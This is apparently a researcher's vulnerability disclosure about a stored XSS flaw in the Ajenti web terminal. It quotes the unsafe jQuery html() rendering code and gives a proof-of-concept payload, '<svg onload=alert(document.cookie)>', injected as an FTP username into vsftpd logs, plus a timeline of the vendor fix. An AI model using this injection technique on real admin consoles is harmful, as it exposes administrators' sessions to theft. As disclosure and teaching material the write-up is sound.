Hi
Today I decided to test server management applications. While I was searching these kind of applications on google I came across with Ajenti which is most beautiful and effective one. It been developed with Python and CoffeeScript
Let me show you what and how I have found.
Terminal Access Through Ajenti
Ajenti provides access to your linux server’s terminal through web browser. Thus you can execute any commands as a root and retrieve results of executed commands.
Let me show how Ajenti handles executed command’s results and how render it.
Following codes grabbed from /ajenti:static/resources.js files.
Terminal.prototype.draw = function(data) { var k, lns, _results; data = RawDeflate.inflate(RawDeflate.Base64.decode(data)); console.log('Payload size', data.length); data = JSON.parse(data); console.log('Payload', data); $('#term pre.cursor').removeClass('cursor'); this.cursor = data.cursor; if (data.cursor) { this.cursx = data.cx; this.cursy = data.cy; } else { this.cursx = -1; } lns = $('#term div'); _results = []; for (k in data.lines) { _results.push((function(_this) { return function(k) { var ln; if (lns.length <= k) { return $('#term').append(_this.row(data.lines[k], k)); } else { ln = $(lns[k]); return ln.html(_this.cells(data.lines[k], k)); } }; })(this)(k)); } return _results; };
Please have look at line line 15 and 25 .
### Line 15 lns = $('#term div'); ### Line 25 ln = $(lns[k]); return ln.html(_this.cells(data.lines[k], k));
Ajenti takes div by “term” id and append line that came from server side by html() . As we know, Using user controlled variable uin html() function of jquery cause to XSS vulnerability.
Attack Vector
As a linux admin we usually read log files. In this scenario I assume that user can log in FTP service with credentials. FTP services logging failed attempt.
Following output grabbed from Vsftp service.
[root@host ~]# cat /var/log/vsftpd.log Thu Oct 9 15:59:22 2014 [pid 1] CONNECT: Client "1.1.1.5" Thu Oct 9 15:59:22 2014 [pid 1] FTP response: Client "1.1.1.5", "220 vsFTPd 3.0.2+ (ext.1) ready..." Thu Oct 9 15:59:22 2014 [pid 1] FTP command: Client "1.1.1.5", "USER <svg onload=alert(document.cookie)>" Thu Oct 9 15:59:22 2014 [pid 1] [<svg onload=alert(document.cookie)>] FTP response: Client "1.1.1.5", "530 This FTP server is anonymous only."
You can see our payload located in log file !
Step 1 : Attacker try to log in FTP service with following username and password
USERNAME : <svg onload=alert(document.cookie)>
PASSWORD : Foo
Step 2 : This login attempt will be failed. Ftp service write username and password into the log file.
Step 3 : If sys admin read log file with Ajenti web terminal, xss payload will be executed.
Timeline
10 October 2014 17:55 – Vulnerability Discovered During Code Review
10 October 2014 18:03 – Test cast and PoC.
10 October 2014 19:00 – Write up published.
10 October 2014 19:10 – Get in touched with vendor ( https://github.com/Eugeny/ajenti/issues/602 )
10 October 2014 20:29 – Vulnerability fixed . ( https://github.com/Eugeny/ajenti/commit/d94680990a9f89d7b164354ac43fedc3d650f154 )